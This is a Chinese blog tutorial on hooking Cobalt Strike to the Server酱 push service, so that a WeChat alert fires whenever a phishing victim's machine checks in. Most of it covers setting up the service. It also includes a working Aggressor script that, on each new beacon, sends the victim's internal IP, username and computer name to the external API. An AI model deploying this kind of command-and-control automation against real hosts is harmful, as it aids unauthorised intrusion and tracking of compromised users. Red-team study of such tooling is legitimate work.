关于cobaltstrike微信上线通知的学习

前言

​ 有时候渗透中我们可能需要对一些目标进行钓鱼,常用的就是使用邮件进行钓鱼,但是邮件钓鱼有一个问题,就是实时性不高,可能我们发了邮件,目标很久才会点,如果目标上线后我们没有及时进行利用或者权限维持,等我们再去看可能目标已经丢了,再想让目标点击上线已经不容易了,这就导致我们之前所做的事情功亏一篑,因此我们需要某种方法,让我们能随时知道目标是否上线,也不用一直盯着电脑。

​ 经过查找网上的资料,发现已经有人实现了通过server酱和CS扩展脚本来让目标上线后进行微信提醒的功能。

过程

server酱申请

什么是server酱?

​ 简单来讲就是推送服务器警报到手机的工具。

怎么使用?

  1. 登入:用GitHub账号登入网站,就能获得一个SCKEY(在「发送消息」页面)
  2. 绑定:点击「微信推送」,扫码关注同时即可完成绑定
  3. 发消息:往 http://sc.ftqq.com/SCKEY.send 发GET请求,就可以在微信里收到消息啦

绑定过程

​ 首先我们访问地址使用github进行授权登录,登录成功后访问地址获取SCKEY,如下

image-20200801094439398

​ 然后访问微信推送扫码关注进行绑定,微信扫描后点击“检查结果并确认绑定”

image-20200801094641509

​ 绑定成功后界面如下:

image-20200801094745848

​ 绑定成功后可以访问地址发送消息进行测试。

image-20200801094922473

​ 点击发送的同时,即可在微信上接收到结果。

image-20200801095019358

​ 当然我们也可以调用接口来发送消息,如果是发送一个get请求,访问如下链接即可发送,这里的SCKEY是我们申请到的SCKEY,实际使用的过程中需要将其替换。

1
https://sc.ftqq.com/SCKEY.send?text=%E4%B8%BB%E4%BA%BA%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%8F%88%E6%8C%82%E6%8E%89%E5%95%A6~

image-20200801095324207

image-20200801095413716

如何调用接口发送正文?

​ 通过GET方式访问接口确实可以发送消息,不过使用GET发送的请求没有正文,或者说正文长度会受到长度限制,我们可以通过POST请求来进行发送,只需要添加一个desp参数即可。

image-20200801100120759

image-20200801100656685

结合CS完成上线提醒

​ 当我们配置好server酱是不是觉得上线微信提醒非常简单呢,是的,接下来我们需要做的,就是写一个插件,当CS上线的时候,只需要提交一个POST请求,将上线的主机发送给我们就可以的,虽然说起来比较简单,但是像我这种菜水水是不会写CS插件的,幸好已经有大佬写好了插件了,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 循环获取所有beacon
on beacon_initial {

sub http_get {
local('$output');
$url = [new java.net.URL: $1];
$stream = [$url openStream];
$handle = [SleepUtils getIOHandle: $stream, $null];

@content = readAll($handle);

foreach $line (@content) {
$output .= $line . "\r\n";
}

println($output);
}
#获取ip、计算机名、登录账号
$internalIP = replace(beacon_info($1, "internal"), " ", "_");
$userName = replace(beacon_info($1, "user"), " ", "_");
$computerName = replace(beacon_info($1, "computer"), " ", "_");

#get一下Server酱的链接
$url = 'https://sc.ftqq.com/此处填写你Server酱的SCKEY码.send?text=CobaltStrike%e4%b8%8a%e7%ba%bf%e6%8f%90%e9%86%92&desp=%e4%bb%96%e6%9d%a5%e4%ba%86%e3%80%81%e4%bb%96%e6%9d%a5%e4%ba%86%ef%bc%8c%e4%bb%96%e8%84%9a%e8%b8%8f%e7%a5%a5%e4%ba%91%e8%b5%b0%e6%9d%a5%e4%ba%86%e3%80%82%0D%0A%0D%0Aip:'.$internalIP.'%0D%0A%0D%0A%e7%94%a8%e6%88%b7%e5%90%8d:'.$userName.'%0D%0A%0D%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:'.$computerName;

http_get($url);

}

​ 我们看下代码,其实也确实非常简单,首先写了一个循环获取beacon的代码,beacon_initial方法可以理解为给新的Beacons会话添加一个自动运行的脚本,或者是让所有的新会话都运行一遍写好的脚本。当有新的会话加入就会自动加载。

​ 作者在beacon_initial自定义了发送get请求的函数,通过beacon_info获取一些基本的主机,最后调用接口进行发送。

​ 最后我们替换get请求位置的SCKEY为我们申请的key,使用CS加载插件进行测试,当设备上线的同时,我们也接收到了微信的通知。

image-20200801103207065

总结

​ 之前我认为要实现微信上线自动提醒这种功能是非常难的,但是还是有人通过这种非常简单的方式实现了这个功能,所以还是多去尝试某些东西,即使可能会失败。

参考文章

Cobalt Strike 上线微信提醒

server酱

CobaltStrike插件开发官方指南 Part3